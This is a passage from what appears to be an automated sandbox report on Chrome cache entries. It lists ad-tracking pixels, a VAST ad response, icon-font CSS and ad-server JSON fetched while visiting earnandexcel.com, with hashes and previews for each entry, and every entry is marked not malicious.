Preview:	.PNG........IHDR.............I.(.....tEXtSoftware.Adobe ImageReadyq.e<..."iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:5E101BD8108411E98AFAE23F52DBB081" xmpMM:DocumentID="xmp.did:5E101BD9108411E98AFAE23F52DBB081"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:5E101BD6108411E98AFAE23F52DBB081" stRef:documentID="xmp.did:5E101BD7108411E98AFAE23F52DBB081"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>.[....xRIDATx..v..%..TvN}:.s.<....5.7..vN........(.vj.hw.,K.D...].v./_..............Y......?qHI.+...\.r...'....

Chrome Cache Entry: 948

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	3427
Entropy (8bit):	4.854177052084254
Encrypted:	false
SSDEEP:	96:1AZNw65OrMYGB1OsvV2335tP9gbJeJWLJB1qHhiV/FY6hCy0HhUaRjUBq2J4QUqb:Oj9YoEeGVcz
MD5:	64588782DC5242AEACD3E433561A2E09
SHA1:	A269052E4F5B32EE49803FDCA7734EFBD85E632B
SHA-256:	9D71F71F397DA987BCE397BFF97F4B892D04FEF24B2E307419F55B3F6859CBEE
SHA-512:	F584E387A8998AA758C700637D82465726E134F2B37A812218430E758F9351C9C52E0E79D9AE6FCE7753F2D0914642D98EBA6F0DCBA46F6D1FA875C401A7730C
Malicious:	false
Reputation:	low
URL:	https://cdn.thinkific.com/assets/toga-css/1.1.13/fonts/toga-product-icons.css
Preview:	@font-face {. font-family: "toga-product-icons";. font-display: block;. src: url("toga-product-icons.eot?2dec1510b2cb213719a0966b20faaf46?#iefix") format("embedded-opentype"),.url("toga-product-icons.woff2?2dec1510b2cb213719a0966b20faaf46") format("woff2"),.url("toga-product-icons.woff?2dec1510b2cb213719a0966b20faaf46") format("woff");.}...toga-product-icon {. display: inline-block;. speak: none;. font-style: normal;. font-weight: normal;. font-variant: normal;. text-transform: none;. line-height: 1;.. /* Better Font Rendering =========== */. -webkit-font-smoothing: antialiased;. -moz-osx-font-smoothing: grayscale;.}...toga-product-icon:before {. font-family: toga-product-icons !important;. font-style: normal;. font-weight: normal !important;. vertical-align: top;.}...toga-product-icon-account:before {. content: "\f101";.}..toga-product-icon-apps:before {. content: "\f102";.}..toga-product-icon-blank:before {. content: "\f103";.}..toga-product-icon-blog:before {. c

Chrome Cache Entry: 949

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	2.9889835948335506
Encrypted:	false
SSDEEP:	3:CUkxl7/lHh/:slf/
MD5:	B4491705564909DA7F9EAF749DBBFBB1
SHA1:	279315D507855C6A4351E1E2C2F39DD9CD2FCCD8
SHA-256:	4E0705327480AD2323CB03D9C450FFCAE4A98BF3A5382FA0C7882145ED620E49
SHA-512:	B8D82D64EC656C63570B82215564929ADAD167E61643FD72283B94F3E448EF8AB0AD42202F3537A0DA89960BBDC69498608FC6EC89502C6C338B6226C8BF5E14
Malicious:	false
Reputation:	low
URL:	https://us-u.openx.net/w/1.0/sd?id=537072960&val=1s3eoj6lgk79e
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 950

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	32
Entropy (8bit):	4.265319531114783
Encrypted:	false
SSDEEP:	3:YTyLSKnCJg4n:YWLSln
MD5:	CD28EE95FFD870C983DC3CD2FD58A371
SHA1:	AEEE8755E1224B6AAF08E9BE62B2904DB02C5C4F
SHA-256:	1793CDDE43B50ECE32887D141A5D62FA9874FBF27669054E130D254EC2BA229E
SHA-512:	F17099941D46303AAEBE6C2D0488C8712F4B6E2CCCD676327BEB61F27A9505DC0546891D873CDABEC9A873A9F92FE265B3415C96398287AF957CFA60ABD773BB
Malicious:	false
Reputation:	low
Preview:	{"version":"7.239.1","betas":[]}

Chrome Cache Entry: 951

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	142
Entropy (8bit):	5.664485700786893
Encrypted:	false
SSDEEP:	3:YW/YUGvBMsfKyfUgpGDgCsYw0X1TSUnoS1NlguPDY:YWgvysfKeGrsdJimubY
MD5:	BAEC9A1875253B29841A4B6CB6A3FD5D
SHA1:	F32DBEAD2BCC8B893538BE5B54429ADB30CA8BA2
SHA-256:	7549312514C8442711690D788569C4FF6CFF0648BF3D3DF23B8878D4ECFAE135
SHA-512:	5BABEF9EB6F0F297A4629B081DDD97A62B136FF1293F4ADD82A936D9D84A3A0E41DADC2BD53DCD196088165BC31884B4ADB72E2F3BF0512233BCD2B942120C62
Malicious:	false
Reputation:	low
Preview:	{"s":"1mlL/Zb1qvppovn8GJd0CIcmZgNC0PLjw9962DsirkYD9T4s0R99lKgIuhU=","t":"RPgux50S2a+wSgA7lGCyE7QFqVbSTcqZvahsT5d2QEE2BQ==","kid":2,"ttl_s":11}

Chrome Cache Entry: 952

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (19064)
Category:	downloaded
Size (bytes):	28850
Entropy (8bit):	6.151573958695717
Encrypted:	false
SSDEEP:	768:np3PLMrmiWIn+Y4uYDy1yVoMCTwdZ+CuMmycIKE9C+LBxq:dPLMrmiWE+Y4uYDy5MkmLrmycdE/xq
MD5:	F95978E98008CB58F5A4F89B927C0E72
SHA1:	3208FF0EA46319E42B5138198F0C06AD507ED5DC
SHA-256:	676A5EB533A684173D409D9D23563B6D48137E4EFA28491C28F020CB142C90F4
SHA-512:	861232A27AE3206D89296027185FACB5F454673445E104F50F2F8C1A860B9AB6C1FF0FA0B398493F29FDD13AFF9F4D6125651BC49E099F3E61E92D48533EFF2A
Malicious:	false
Reputation:	low
URL:	https://bid.g.doubleclick.net/dbm/vast?dbm_c=AKAmf-CmsGlrXq7VkyOTKfrqS7wokh-ntJFwVAlLV7SjKb6vnFj7ueJtkIcNCqd24ffcy2TQ7wVtD-qMzkMb-12IzQsRNTpsgA&cry=1&dbm_d=AKAmf-CyctmxlMD-Ztlh0K2X2DP3ypI1Thi2Yxr6jTW61V5yZhbcL5yTY-P87SghaCt0U8vE0wmOBYHqosQPyjOTWhOer4VzruGgzJ6BJ9mjclUTMBWONEEKClWq-XkteHy4gaNT4MXyCheXqLKXSbxLtlRNeIy_A9qmGt7vPQUIYxp6SP7qTZkUtakPgRbIouQT4gpoOXDtRMKG9RLsekTxrxI__xgAAcZgFEovi1bSZYd3X-CIgs02G3b2g6uFuBFcSy6wltcft7NNRnSem-uejtODKJ-8f-ExR_1DtsoARfick4xVHZ0t8Zf4Z5uXFLeCHzXHtsXjvR8nT-mRDL_bRHM5y6GZ5_OzmhapvOzHGF8OR7zMZvsXTBvAS9_aAfsbEpVnblg1GmKOg1jSAaovAYHyti7VhgPODiTjISz0ddf1pTjaJtd9lpiEHB2vgG2kt5ZjZKu8jSwmjqRBLG4nLVitjhqdJ_3zl14prYrS9l723WVsWaWsM9XcbjFZiTjJbmSSjiImhgz0aiE_sLzIEsE_9_vJSNwmd6Y0ttzO3m-gFjaSxWza-KU89lf_hqw9D4-IVzgThjoe-rNzJIW1QgKYQ8fXWGeLPaGg2Y2n7Eb5XqlqIXc-0HRWQompqWcWMXy9iDJ3NHibQjugS6_CgGiJAwN1CyWTnpTvhyIZo9FFb2ajzaQb4KG3QVvXsfzXkAscliZ_kylgZNuwKE6ZoYd5nu-teykZ0bhV1YzyQ0ZMafoMys5hXg3Npz2kLOZtd1BCtMPMlVxQtHgZZHwNIMlZNRb-BhwRyAtDQrVW8Ae4hFGjwuEW2BdPpvtswAbkcQHQhLvOb96D4vCI9QIMBENqBKvWZrPnqlwSXYb5NTFqnspL5jZBD-O2iTaz2EVw4im46HjO2WqK6MxIwVGvqcGtDz9UmpfkTnbu4vzgoI49y3yKBoeIHrRIkczZvneuNuK-xOSgsg-CVZe5mv0O4iAKYUJ7TbtTEoj09gxXERKjUP9HWc_eO50fPJR_QF7XeTxJj2KLkx-8r2c8L3xp1iIA9wMvc9UpTmYHV2l0piKZxX0i4nZPoMzpCFeNnRZatp_R7FflydoZSHfZqFe3H1DK9rd0BxUPF-1r58MFdGuXhWp_YiO1rMcCEgrxhvktJ-hDGNyBA3TIfwFuTZBsNC_u4dDjbd3oZ-BRWcojz90uIgBYny1_lXOoyAH1nitWVvEg9rQu2sMgDHf4OE17Yf3v3k8J_QfdN-49o99uH6FtkUMkhLt7yH4htzuQb6Xu96xN5ipaAeD7kkwSF30eV4CEoRX23CXfj9Wpjj4MmeORonoZ4udNUT1cIVO5E2gnrsszDi60izBv9Bp5oSy7rMks7PE1_tsehA-Cet0_yZakQy_A82FaarSc-Z9dWyvu1NWgs8GKi2MwLWckm5OcaoRHluoQNSsTacN7q27La8WuiA1xyhsDvpvg3NlTrLSH5PlubabPsQqCDFsbjBvKhWjK-DV_xHN81Ggir0V3vGbBM3L_ahUF1DYHlGegE59lCe1rb9LbAtQYtovxo-CFUwDM5G83VjUVlBegvIJIEFhvnk10Gk8zXMFN4WNKoP6t2H5BN0dYKbcWYgswPZSGOJNpp7-CVRzsjD2x8KgaO4cPBH0-vTZCMe26Pvp8p3pO9RTP8ZVZcEdmfWvjixwRRda-nACCyDwiTpJoUhfJrbE9lRzo3lri-8_oJAnzVIoYwpGFwJdnyfCkyC2tR_yoaNd9CtEROAnrhPFJlmc2yvyFDbX65Hm9Q7PGIlmaGE4VCXiFE0Y35FExvQH-TT5424537QEkHwzr_votD4pb9avuFVD9avO0i4gHONfQFPuzHABDaboO7dQREIojCQTpFbK30yFE2U3V_EgmNafxCN392nQ6PxvKakFvzeUcNy0AE6fHTLsQkNuIGlcpmMIAsuprF5sGz2R6vOTwUvx611GV0q53NMywUlhFTBiLDU2twfpnGE1AuqUQvEIHvbGAdvklzt8kpX-Bh_5XuQXA9vo1UW7Js1AiWlND9E6e2sx_QTwH9M9KBfhMvrB-wYgFlD6Bb8WlD-q4207N7ycplrZXgDpZbKHol3B8wogpAJOCYH8slLp8RaVAPn9ErSRZz_s_0zD9RJRvrg8t0etbADMSSLQjdbNj08IbgOr1RAEZcQ9HTPC6LMpL61N-1YEpUTj1OGfsWfkP1X4wlf1Qq4XnDaJKTkQ99j0FkHthO2Cp6ppzqWZeZUr8pt_5SuuVHmE0PdJmJTeF8OmongKSjMjnHu9zQLy0gSGUgfZu7NdAT3MX4yytcUnberduJTuDPjD5d2Ad8i0Dv6SsPdVRsz16dTUDFnp6SVQvLC3-fP7e_kDhE_dEw4CDh-iuIN_Sj89LpAZXThAqFEm98FuQXHRIbUADg-A4V0VDgNEdsokdfchMdWwcyeJAPxXnGWBxNhuAyo8D_nR8CCtA4AxXu8UNCOS2BTr3Kx9shKn_Y5GRksYXSBdaHUcfZYARFCN6S3bO8lLtzOeZvN0F48wK7EzUyOf7NkhlDYDLJISKjFdUw4vnljDaMRJ4guhP0TOCCCLXWBnopC66uO0EkwqWDPD_PPJqbI9dg7GFSIReaeureVW8tQ5FHcOdmo0Sjj1KBZZeBXBATeY_FFm98Zlep5k_dib0X1eMe0LO_3vSWrF8Lsg8aucnkQx5zdcHVnUm_r_8d7MvoRGCKOTqYNduokJcVz7bmEbDsgR5Yezm85xaN9i6dNJ-VTcu99Qm4QEWaryw-iM_7yTDtB7PwQ7xA3dl-PPf7EACXI1HddQkNkFcs6nDeK3SzblyPoIdd5DjpQMBfA77VBpCW2hT5xZxjqVTrAF2VixeDutvKLaY0plyT15wZNCBjRHe8HuBTWX1zuYqCTnxnq3y27-Q9GiydPRSh3LpQFwaNB-DKXzJGb9a-oXaGNMaSSjgX6bCme6_cVGWUy-867DtY8CipNmso_Lck9EjjDY_sLCWO8nkoD_Ihlt65YIsC_ORk6XH6ccOE4r-MyfhMe2N4YZcl2owg0eI7fbB4ZYYBfD6C_g8mwDYZt4YptIqz_DpjI6bOSio2JII1o1ti08M27cXezj33XDTKIhW5chjSCDofh-EM3h24ojhlxXCz6YZ-nBO8X9B9AcSoy5UE4K1MlP7QYgdzdaUdD5z38_7cJxK2j5-Tra0bRRGakzNe87J7Z5jNFyX4Lx1Y0_ndQ92O2YYsKTp5ooS_UlPzvqryy7LgcGlONXKMmcxSYoYw3XL4JCvHNCTW82k-_2CTxIc97EQaxAVgSR4DyVDjHR25f9dbSP83sqK9rQ1ATlFxjrrWV6gn1QMlS3umY2cp5D3NpHimv2l6EBAEO8lLAN5gZ9uOCnLksdiMCK4CMbaP-GzQAc-UGBCUvLy5hWT-WbgKSgcp5_8j67N19zZVwRdBdddf92jLzidzJn7HBiEH8aaWimX7P2ADCm8Uj_4K_OQNIjqMopT2DQhWhtr427osAotlybCGzaFuUUHdqCuQPU3BGULO8v1-HG-SQANJ9h9f1Kv3C3Uotdy8EzvNtw&cid=CAQSYAB7FLtqFwZp4WhIaTqm21u0r7KWHKxE5N933alo3kZaUmuZ-9IL8dGSaStaP94yf2Q7nwAzfj9TEY2xecSWRTjsqbOpAFwh6nPV5mDeAyXH85g9nEI3y-yQdsr5mjkekRgB&vpa=auto&vpmute=1&sdkv=h.3.633.0&osd=2&frm=0&vis=1&sdr=1&nel=1&unviewed_position_start=1&is_amp=0&hl=en&uach=WyJXaW5kb3dzIiwiMTAuMC4wIiwieDg2IiwiIiwiMTE3LjAuNTkzOC4xNDkiLG51bGwsMCxudWxsLCI2NCIsW1siR29vZ2xlIENocm9tZSIsIjExNy4wLjU5MzguMTQ5Il0sWyJOb3Q7QT1CcmFuZCIsIjguMC4wLjAiXSxbIkNocm9taXVtIiwiMTE3LjAuNTkzOC4xNDkiXV0sMF0.&u_so=l&ctv=0&us_privacy=1---&gpp=GPP_ERROR_STRING_EXPECTED_APPLICATION_SECTION_ARRAY&gpp_sid=-1&sdki=445&ptt=20&adk=3958072794&sdk_apis=2%2C7%2C8&omid_p=Google1%2Fh.3.633.0&sid=C909C1C6-82EB-4B47-A36F-ECB4103D6F46&a3p=EhkKCnVpZGFwaS5jb20YrIu6-OwxSABSAghkEj8KCmFtYXpvbi5jb20SKDdib0RSZ2lKRkR5QWIwem5JUEo5NlA2b3VTZGFEY2pDeU9nS3BBPT0Ykru6-OwxSAASwgEKCHJ0YmhvdXNlEqwBTmZqSFA2ZXFuU1dsY295THFLL0ZIcGRvdUMzYjYwUjZmR1lYRzNFSXM1Y1BQTWc3REtIU2h1dGtEcjRYWmJQeDducHNUV293TDZNYU5IY3dWdWliRHhEV1IrUU9CdG1HL2UzM1ZHQ0VHd3Q5UzVvRXlkQ1gxMGtIcUFvbFlObGFGcDVIQXlhWStWRm5CYkRmT01kUVJZZWJBTTcvcUNYWmkzbDBPbk5qTDBRPRj-trr47DFIABLWAQoOZXNwLmNyaXRlby5jb20SugE3b2RQYVY5T01UVTNXRzFOYWs1WGVISkNTMVEwZWpsTFdWRjJObTVYWnpreFNqQXdSSFJRY3prd1VVRkljMll4WjBGcGNETklkM05PYlZaaWJVUm9ZbXBKVlhJNVVHdHNOVlJSWlc4MFVDVXlSa3BpUlNVeVJrTnJjRk5TYkRRMFkxUk9la3A0UXpsU1NHczFRMGxTT1doTmR6RllVMDltUVcweVkxQWxNa0pMUkZSa2NuQnNNMDlUV2cYgay6-OwxSAASPgoFb3BlbngSLGV5SnBJam9pVW5Wc1VFOXlLMU5VWVVkblEwaGlOSFkxYmt4R1VUMDlJbjA9GM7LuvjsMUgA&eid=44770824%2C44776494%2C44777649%2C44781409%2C95321947%2C95322027%2C95323893%2C95324128%2C95324210%2C95326337&url=https%3A%2F%2Fearnandexcel.com%2F%23&dt=1712870848369&ged=ve4_td8_tt0_pd8_la8000_er623.965.781.1265_vi0.0.907.1263_vp99_eb20075
Preview:	<?xml version="1.0" encoding="UTF-8"?>.<VAST xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="vast.xsd" version="3.0">. <Ad id="577674429">. <Wrapper>. <AdSystem>DBM</AdSystem>. <VASTAdTagURI><![CDATA[https://ad.doubleclick.net/ddm/pfadx/N3186.3949321PMPRECISIONDV360/B31189534.385370447;sz=0x0;ord=[timestamp];dc_lat=;dc_rdid=;tag_for_child_directed_treatment=;tfua=;dc_tdv=1;dcmt=text/xml;dc_sdk_apis=1,2;dc_omid_p=Google1/h.3.633.0;gdpr=0;gdpr_consent=;dc_mpos=[BREAKPOSITION];ltd= </VASTAdTagURI>. <Error><![CDATA[https://pagead2.googlesyndication.com/pagead/gen_204?id=notify&exchange=bidswitch&creative_id=548751933&creative_type=121&usl_id=938998595944&errorcode=[ERRORCODE]&asseturi=[ASSETURI]&ord=[CACHEBUSTING]&offset=[CONTENTPLAYHEAD]&d=APEucNX0H8hSI4o5bGXJQ5z9R9eSmhQ36376iYbgWIRdW3is6Op5l8Av-gGDeU2HRcqvmmZ4zvlwaNX9TvP4zblNo0pxLoId0A </Error>. <Impression><![CDATA[https://googleads.g.doubleclick.net/xbbe/pixel?d=CNq02qIFEPqxo-MFGL2U1YUC

Chrome Cache Entry: 953

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (393)
Category:	downloaded
Size (bytes):	551
Entropy (8bit):	4.94639628478463
Encrypted:	false
SSDEEP:	12:JYXCA6AVeGkWNOjlz28p6LLgilRQpw/UAXqxUA2P2EUAFo:JYSA6XG+hK8pwgmzX4U2Ge
MD5:	8DDD0303F9251EDBCFD7B5B0339FCC1D
SHA1:	3E0581F85B72750238EF1AF0B75C080B6530FDE1
SHA-256:	B302AC84283CBD68C0D4332DF831E045F7FE2B0BB90FE3155D194908296A389A
SHA-512:	8C30EECF46401428FBB47F3FAFE4C82897612C1183D04ED37ACAD3A96F789D3335358037A34F5D2257E5F7C9D1E69E6ADF83CAD171A0B3ACFC943CB359DCECBA
Malicious:	false
Reputation:	low
URL:	https://keywords.mediavine.com/keyword/web.keywords.js?pageUrl=https://earnandexcel.com/
Preview:	. window.$adManagementConfig = window.$adManagementConfig \|\| {};. window.$adManagementConfig.web = window.$adManagementConfig.web \|\| {};. window.$adManagementConfig.web.keywords = {"status":"PROCESSED","sales_kw":"earn,professionals,excel,skills,vba course,skill,marketing,game changer,powerpoint lesson,complete package,ability,professional,order","sales_cat":"132","sales_safety":"GGT0","sales_segment":"GumGum Verity Seasonal - Fathers Day,GumGum Verity Seasonal Segment - Back to,GumGum Verity Seasonal - Mothers Day"};.

Chrome Cache Entry: 954

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	3.0314906788435274
Encrypted:	false
SSDEEP:	3:CUkwltxlHh/:P/
MD5:	325472601571F31E1BF00674C368D335
SHA1:	2DAEAA8B5F19F0BC209D976C02BD6ACB51B00B0A
SHA-256:	B1442E85B03BDCAF66DC58C7ABB98745DD2687D86350BE9A298A1D9382AC849B
SHA-512:	717EA0FF7F3F624C268ECCB244E24EC1305AB21557ABB3D6F1A7E183FF68A2D28F13D1D2AF926C9EF6D1FB16DD8CBE34CD98CACF79091DDDC7874DCEE21ECFDC
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 955

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text
Category:	downloaded
Size (bytes):	269
Entropy (8bit):	5.235195150873638
Encrypted:	false
SSDEEP:	6:hn8FQiowadCc4svmzsMX5mBQLzLcIjEdxvAqJmW/upLV4HX4QL:hnMQbwuO4M2e4xYqJmWeV4IQL
MD5:	C7B1A96E4676C76C0240D4A835FB7252
SHA1:	8A4DE304873BB5A8C11DD86B86CC8B8356BAD8B5
SHA-256:	E4DF52D49C57BC3E7158CB052CC05C60F1258C24DE5C5728DAC5D43272943AD9
SHA-512:	349FE7702C3A1355026D9051B3BDF4143358A34A416DF67099E7FA16CACD72270E40DAF59C24C1FE0C6705F91AEDABD0E9D8298985E6A3BF9F133C08DC07AD86
Malicious:	false
Reputation:	low
URL:	https://eus.rubiconproject.com/usync.html?p=gumgum
Preview:	<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">. Copyright Magnite 2024 -->.<html>.<head>. <title>User-Sync</title>.</head>.<body>. <script type="text/javascript" src="usync.js"></script>.</body>.</html>.

Chrome Cache Entry: 956

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	3.292508224289396
Encrypted:	false
SSDEEP:	3:CUmExltxlSle:JAle
MD5:	55FADE2068E7503EAE8D7DDF5EB6BD09
SHA1:	317496A096D6C86486A71D4521994BCD171A6BB3
SHA-256:	E586A84D8523747F42E510D78E141015B6424CF67D612854E892A7BCEDC8EC9E
SHA-512:	A9ADB9FEEA4BC14B9C34ED17CD30F8CB36DC686E9F69A292FE65BEBC195BE4714391FD98EC7B67BFD363FBBB6089C41A0B7CAB5130B50B461748E668CAC75621
Malicious:	false
Reputation:	low
URL:	https://s.tribalfusion.com/z/i.match?p=b11&redirect=https%3A//simage2.pubmatic.com/AdServer/Pug%3Fvcode%3Dbz0yJnR5cGU9MSZjb2RlPTMzMjYmdGw9MTI5NjAw%26piggybackCookie%3D%24TF_USER_ID_ENC%24&u=${PUBMATIC_UID}
Preview:	GIF89a.............!.......,........@..D..;

Chrome Cache Entry: 957

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	2.7374910194847146
Encrypted:	false
SSDEEP:	3:CUnl/7yltxlHh/:/+/
MD5:	07FFF40B5DD495ACA2AC4E1C3FBC60AA
SHA1:	E8AC224BA9EE97E87670ED6F3A2F0128B7AF9FE4
SHA-256:	A065920DF8CC4016D67C3A464BE90099C9D28FFE7C9E6EE3A18F257EFC58CBD7
SHA-512:	49B8DAF1F5BA868BC8C6B224C787A75025CA36513EF8633D1D8F34E48EE0B578F466FCC104A7BED553404DDC5F9FAFF3FEF5F894B31CD57F32245E550FAD656A
Malicious:	false
Reputation:	low
URL:	https://sync.srv.stackadapt.com/sync?nid=114&gdpr=0&gdpr_consent=&gpp=DBABzw~1---~BqgAAAAAAgA&gpp_sid=
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 958

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 205 x 95, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	11802
Entropy (8bit):	7.965162479501559
Encrypted:	false
SSDEEP:	192:Le/De8jFHE6f0qhzKiuX3ExD5kYdwIvvb2sGtW2omAJAON8Q4m1f8D7VpQN:LMe8xH/f0qwU+YuIvDnJAC8BNFp2
MD5:	E273267944396E3BF8B4D15BF9EF8EC4
SHA1:	5FD274D446AECFAE8F3F9381556DB166DA99C66E
SHA-256:	B18671C38032D94CCEEA74328337F5BD36B55E38604D1C55B8705C25DBE68E20
SHA-512:	F302219B8D91C6FA49D2C56F1EC655DB8A538830A818939F5741018B0AC9D8801AEB6E972C2597091529E2D52C47B9B66B7725C546F0E439E45CD78EBFCB5D89
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR......._.....K.C!..-.IDATx...kUO........{.w."b..\(..bC.AD\$..H ......H!...4B:...s...r_~/Y..\|ax...;.....3......Ia.8888.888.88L#8.888.888.88L+8.888.888..ccc222B..?N.......A.....`...a'.......}A0....x...._B.{.,...........m``.o..=.#W4....O....p`Nt...`2Z ...R..i\|...6.a.......]]].....?....B..L....Z...).6n..q.....I..:..Z.c.u`.....n.,.L}m....p=.l...jMZ.HlO...i.Fd..D1...).....L....r....!....~..0E..?....A.......P..=..."W4.....G#...}......G.....a!........6...Hj.._..k..."... .pmN....UWWKii.TVVJgg.7b....8.......O8...50...Kqq.455I[[.s.}..kkk...L**$;;[........u...S........A....\|ihh0..y........`?.+.CP...........k.....9sF..9"'N..w..IBB........hiiQ....M.<y"....m..m.<x 111.PRR.6...}.V.].&....v....o.M}r..Uy...\|..........O..EEE....y....w.5........ i..BZZ...E.&......?.......Ke.%.~.zY.v.^/^.Xf.%./^....5...8.......#_.\|..G..y.d...u.V.q.l.I6o.,....].v...5X.}[.-_.\6l....".}...S...#{...y[.l.u..1G....L.4.NI....*.....9sd......gk.lmm....../_

Chrome Cache Entry: 959

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	87
Entropy (8bit):	4.345716594214023
Encrypted:	false
SSDEEP:	3:YIzJ6XnKm/DR0xy2/CF+X7IAm2Y:YIFiV0x/CFiIEY
MD5:	5BCD96DF69B201C99EA5E75151216076
SHA1:	D6F629D6168574DCD638DAA702F21E0DDDDB0A18
SHA-256:	69EED40DEB98731C799EEB501843942317AB1C8D04F7E7F55953F3674A92B694
SHA-512:	4FA145220D788F09A4A97F72B5363D453DFADF02476FD9D54E0B71CBBB2022F83F3D67BA70FE59CF0ED5EAFAAB73F676989A432B9C601BC919CDBE22EA9DF414
Malicious:	false
Reputation:	low
Preview:	{"message": "Number of recommendations must be provided (missing \"count\" parameter)"}

Chrome Cache Entry: 960

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	104260
Entropy (8bit):	6.030222655918063
Encrypted:	false
SSDEEP:	1536:oR3v6oVG8kC5xZa8vXtBkYxqzTWMndJT4Yx5T:CvhTk22TWCJT4K9
MD5:	C32F0ED63C788600AB4A4DD23146D05C
SHA1:	8C2FDBB2D28E954E245300B72B3CE8B110CDAE73
SHA-256:	42F96531B88B61A62B460591273FAA89D93A538723FE1780BC8780443ADD47CA
SHA-512:	913F504C8DCA575CC895E4FB4FFA3D7774021091397CF72961D8829A071950D656971C37028B55F9244F5084D3B3D641EDC31050A76D5CA9D13AE57A0182904C
Malicious:	false
Reputation:	low
Preview:	{"/1030006/earnandexcel/universal_player":["html",1,null,null,1,1,1,0,0,null,null,null,1,null,[138346381851],[5755543802],[5010209892],[2843968966],null,null,null,null,null,null,null,0,null,null,null,null,null,null,"AOrYGskEh4O-S7QQlsm1EWoksKnviqzFWEHW7oV7BURmT48LyD2_4Xx5JRkoFobOvb4HelCjuwAFdCqhyAUgYtQ3eg0","CMipgpSNu4UDFROngwgdrNwGAQ",null,null,null,null,null,null,null,null,null,null,null,null,null,null,"1",null,null,null,null,null,null,null,null,null,null,null,"AA-V4qNNqumKwRS2lg3-SDSgsfkOB6_M-C3OP-PPcesL_PTw50UyGnolHut0kYFpaJH9UTmKJTf5pe0UKC0w",null,null,null,null,null,null,null,[]]}.<!doctype html><html><head><script>var inDapIF=true,inGptIF=true;</script></head><body leftMargin="0" topMargin="0" marginwidth="0" marginheight="0"><script>window.dicnf = {};</script><script data-jc="42" data-jc-version="r20240409" data-jc-flags="["x%278446'9efotm(&20067;>8&>`dopb/%<1732261!=\|vqc)!7201061?'9efotm(&20723;>:&>`dopb/%<1245;05!=nehu`~"]">

Chrome Cache Entry: 961

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	170
Entropy (8bit):	5.335916817166796
Encrypted:	false
SSDEEP:	3:yionv//thPlE+tnM5OCAadCmy42/uDlhlbGlo+4/iRXTECLrlxyxtyaC/tIlsg1B:6v/lhPfZMQC19s/6TdKXTECL6yR/iVB
MD5:	E7673C60AF825466F83D46DA72CA1635
SHA1:	FC0FCBEE0835709BA2D28798A612BFD687903FB5
SHA-256:	0B8A20373C6DD04E091902226D922B3688143A8938AFB9D283D889DE7B55CEB5
SHA-512:	F1C33E72643CE366FD578E3B5D393799E8C9EA27B180987826AF43B4FC00B65A4EAAE5E6426A23448956FEE99E3108C6A86F32FB4896C156E24AF0571A11C498
Malicious:	false
Reputation:	low
URL:	https://cm.g.doubleclick.net/pixel?google_nid=openx&google_hm=MmMzYjU1MmEtODM2Ny02MjA2LTU1NTUtZTlkYzIzZjNlZGE5
Preview:	.PNG........IHDR....................bKGD..............pHYs.................tIME......-Q.7n....tEXtComment.Created with The GIMP.d%n....IDAT..c.iy......+........IEND.B`..

Chrome Cache Entry: 962

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	63572
Entropy (8bit):	5.977516720106864
Encrypted:	false
SSDEEP:	1536:kKkz62Xm52Xd2XP2XX2Xu2XD2Xn2Xr4EiY:zke2XS2Xd2XP2XX2Xu2XD2Xn2Xr4EiY
MD5:	225BE0C96EF9E4616014E382364E3A7F
SHA1:	B09986D8C85633253CB62B0FCFD735061216C2FC
SHA-256:	782FC99D5A2A758B1E0E0D72F343D64A939D51EB5F8BBFF8D287AB45E5D1D040
